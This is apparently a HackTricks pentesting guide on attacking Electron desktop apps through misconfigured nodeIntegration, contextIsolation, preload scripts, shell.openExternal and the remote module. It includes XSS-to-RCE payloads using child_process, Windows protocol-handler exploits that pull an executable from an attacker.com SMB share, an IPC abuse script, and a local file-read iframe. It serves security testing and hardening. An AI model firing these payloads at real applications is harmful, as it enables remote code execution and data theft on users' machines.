Electron Desktop Apps

Reading time: 16 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Introduction

Electron combines a local backend (with NodeJS) and a frontend (Chromium), although tt lacks some the security mechanisms of modern browsers.

Usually you might find the electron app code inside an .asar application, in order to obtain the code you need to extract it:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

In the source code of an Electron app, inside packet.json, you can find specified the main.js file where security configs ad set.

json
{
  "name": "standard-notes",
  "main": "./app/index.js",

Electron has 2 process types:

  • Main Process (has complete access to NodeJS)
  • Renderer Process (should have NodeJS restricted access for security reasons)

A renderer process will be a browser window loading a file:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Settings of the renderer process can be configured in the main process inside the main.js file. Some of the configurations will prevent the Electron application to get RCE or other vulnerabilities if the settings are correctly configured.

The electron application could access the device via Node apis although it can be configure to prevent it:

  • nodeIntegration - is off by default. If on, allows to access node features from the renderer process.
  • contextIsolation - is on by default. If off, main and renderer processes aren't isolated.
  • preload - empty by default.
  • sandbox - is off by default. It will restrict the actions NodeJS can perform.
  • Node Integration in Workers
  • nodeIntegrationInSubframes- is off by default.
    • If nodeIntegration is enabled, this would allow the use of Node.js APIs in web pages that are loaded in iframes within an Electron application.
    • If nodeIntegration is disabled, then preloads will load in the iframe

Example of configuration:

javascript
const mainWindowOptions = {
  title: "Discord",
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: "EnumerateDevices,AudioOutputDevices",
    nodeIntegration: false,
    contextIsolation: false,
    sandbox: false,
    nodeIntegrationInSubFrames: false,
    preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true,
  },
}

Some RCE payloads from here:

html
Example Payloads (Windows):
<img
  src="x"
  onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
  src="x"
  onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
  src="x"
  onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
  src="x"
  onerror="alert(require('child_process').execSync('id').toString());" />
<img
  src="x"
  onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
  src="x"
  onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capture traffic

Modify the start-main configuration and add the use of a proxy such as:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

If you can execute locally an Electron App it's possible that you could make it execute arbitrary javascript code. Check how in:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

If the nodeIntegration is set to on, a web page's JavaScript can use Node.js features easily just by calling the require(). For example, the way to execute the calc application on Windows is:

html
<script>
  require("child_process").exec("calc")
  // or
  top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

The script indicated in this setting is loaded before other scripts in the renderer, so it has unlimited access to Node APIs:

javascript
new BrowserWindow{
  webPreferences: {
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'perload.js'),
  }
});

Therefore, the script can export node-features to pages:

preload.js
typeof require === "function"
window.runCalc = function () {
  require("child_process").exec("calc")
}
index.html
<body>
  <script>
    typeof require === "undefined"
    runCalc()
  </script>
</body>

[!NOTE] > If contextIsolation is on, this won't work

RCE: XSS + contextIsolation

The contextIsolation introduces the separated contexts between the web page scripts and the JavaScript Electron's internal code so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.

If the contexts aren't isolated an attacker can:

  1. Execute arbitrary JavaScript in renderer (XSS or navigation to external sites)
  2. Overwrite the built-in method which is used in preload or Electron internal code to own function
  3. Trigger the use of overwritten function
  4. RCE?

There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Bypass click event

If there are restrictions applied when you click a link you might be able to bypass them doing a middle click instead of a regular left click

javascript
window.addEventListener('click', (e) => {

RCE via shell.openExternal

For more info about this examples check https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 and https://benjamin-altpeter.de/shell-openexternal-dangers/

When deploying an Electron desktop application, ensuring the correct settings for nodeIntegration and contextIsolation is crucial. It's established that client-side remote code execution (RCE) targeting preload scripts or Electron's native code from the main process is effectively prevented with these settings in place.

Upon a user interacting with links or opening new windows, specific event listeners are triggered, which are crucial for the application's security and functionality:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

These listeners are overridden by the desktop application to implement its own business logic. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, openInternally. If this function returns false, it indicates that the link should be opened externally, utilizing the shell.openExternal function.

Here is a simplified pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS security best practices advise against accepting untrusted content with the openExternal function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to this resource, which includes Windows protocol examples capable of exploiting this vulnerability.

In macos, the openExternal function can be exploited to execute arbitrary commands like in shell.openExternal('file:///System/Applications/Calculator.app').

Examples of Windows protocol exploits include:

html
<script>
  window.open(
    "ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
  )
</script>

<script>
  window.open(
    "search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
  )
</script>

<script>
  window.open(
    "ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
  )
</script>

RCE: webviewTag + vulnerable preload IPC + shell.openExternal

This vuln can be found in this report.

The webviewTag is a deprecated feature that allows the use of NodeJS in the renderer process, which should be disabled as it allows to load a script inside the preload context like:

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Therefore, an attacker that manages to load an arbitrary page could use that tag to load an arbitrary preload script.

This preload script was abused then to call a vulnerable IPC service (skype-new-window) which was calling calling shell.openExternal to get RCE:

javascript
(async() => {
    const { ipcRenderer } = require("electron");
    await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
    setTimeout(async () => {
        const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
        await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
    }, 5000);
})();

Reading Internal Files: XSS + contextIsolation

Disabling contextIsolation enables the use of <webview> tags, similar to <iframe>, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:

Further, another method for reading an internal file is shared, highlighting a critical local file read vulnerability in an Electron desktop app. This involves injecting a script to exploit the application and exfiltrate data:

html
<br /><br /><br /><br />
<h1>
  pwn<br />
  <iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
  <script type="text/javascript">
    function j() {
      alert(
        "pwned contents of /etc/hosts :\n\n " +
          frames[0].document.body.innerText
      )
    }
  </script>
</h1>

RCE: XSS + Old Chromium

If the chromium used by the application is old and there are known vulnerabilities on it, it might be possible to to exploit it and obtain RCE through a XSS.
You can see an example in this writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Internal URL regex bypass

Supposing you found a XSS but you cannot trigger RCE or steal internal files you could try to use it to steal credentials via phishing.

First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

The call to openInternally will decide if the link will be opened in the desktop window as it's a link belonging to the platform, or if will be opened in the browser as a 3rd party resource.

In the case the regex used by the function is vulnerable to bypasses (for example by not escaping the dots of subdomains) an attacker could abuse the XSS to open a new window which will be located in the attackers infrastructure asking for credentials to the user:

html
<script>
  window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// Protocol

As mentioned in the docs pages running on file:// have unilateral access to every file on your machine meaning that XSS issues can be used to load arbitrary files from the users machine. Using a custom protocol prevents issues like this as you can limit the protocol to only serving a specific set of files.

Remote module

The Electron Remote module allows renderer processes to access main process APIs, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.

tip

Although the remote module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.

warning

Many apps that still use the remote module do it in a way that require NodeIntegration to be enabled in the renderer process, which is a huge security risk.

Since Electron 14 the remote module of Electron might be enabled in several steops cause due to security and performance reasons it's recommended to not use it.

To enable it, it'd first needed to enable it in the main process:

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
  mainWindow = new BrowserWindow({
  [...]
  })
  remoteMain.enable(mainWindow.webContents)

Then, the renderer process can import objects from the module it like:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

The blog post indicates some interesting functions exposed by the object app from the remote module:

  • app.relaunch([options])
    • Restarts the application by exiting the current instance and launching a new one. Useful for app updates or significant state changes.
  • app.setAppLogsPath([path])
    • Defines or creates a directory for storing app logs. The logs can be retrieved or modified using app.getPath() or app.setPath(pathName, newPath).
  • app.setAsDefaultProtocolClient(protocol[, path, args])
    • Registers the current executable as the default handler for a specified protocol. You can provide a custom path and arguments if needed.
  • app.setUserTasks(tasks)
    • Adds tasks to the Tasks category in the Jump List (on Windows). Each task can control how the app is launched or what arguments are passed.
  • app.importCertificate(options, callback)
    • Imports a PKCS#12 certificate into the system’s certificate store (Linux only). A callback can be used to handle the result.
  • app.moveToApplicationsFolder([options])
    • Moves the application to the Applications folder (on macOS). Helps ensure a standard installation for Mac users.
  • app.setJumpList(categories)
    • Sets or removes a custom Jump List on Windows. You can specify categories to organize how tasks appear to the user.
  • app.setLoginItemSettings(settings)
    • Configures which executables launch at login along with their options (macOS and Windows only).

Example:

javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences module

The primary API for accessing system preferences and emitting system events in Electron. Methods like subscribeNotification, subscribeWorkspaceNotification, getUserDefault, and setUserDefault are all part of this module.

Example usage:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
  console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Listens for native macOS notifications using NSDistributedNotificationCenter.
  • Before macOS Catalina, you could sniff all distributed notifications by passing nil to CFNotificationCenterAddObserver.
  • After Catalina / Big Sur, sandboxed apps can still subscribe to many events (for example, screen locks/unlocks, volume mounts, network activity, etc.) by registering notifications by name.

getUserDefault / setUserDefault

  • Interfaces with NSUserDefaults, which stores application or global preferences on macOS.

  • getUserDefault can retrieve sensitive information, such as recent file locations or user’s geographic location.

  • setUserDefault can modify these preferences, potentially affecting an app’s configuration.

  • In older Electron versions (before v8.3.0), only the standard suite of NSUserDefaults was accessible.

Shell.showItemInFolder

This function whows the given file in a file manager, which could automatically execute the file.

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron apps should have a Content Security Policy (CSP) to prevent XSS attacks. The CSP is a security standard that helps prevent the execution of untrusted code in the browser.

It's usually configured in the main.js file or in the index.html template with the CSP inside a meta tag.

For more information check:

Content Security Policy (CSP) Bypass

Tools

  • Electronegativity is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
  • Electrolint is an open source VS Code plugin for Electron applications that uses Electronegativity.
  • nodejsscan to check for vulnerable third party libraries
  • Electro.ng: You need to buy it

Labs

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s you can find a lab to exploit vulnerable Electron apps.

Some commands that will help you will the lab:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks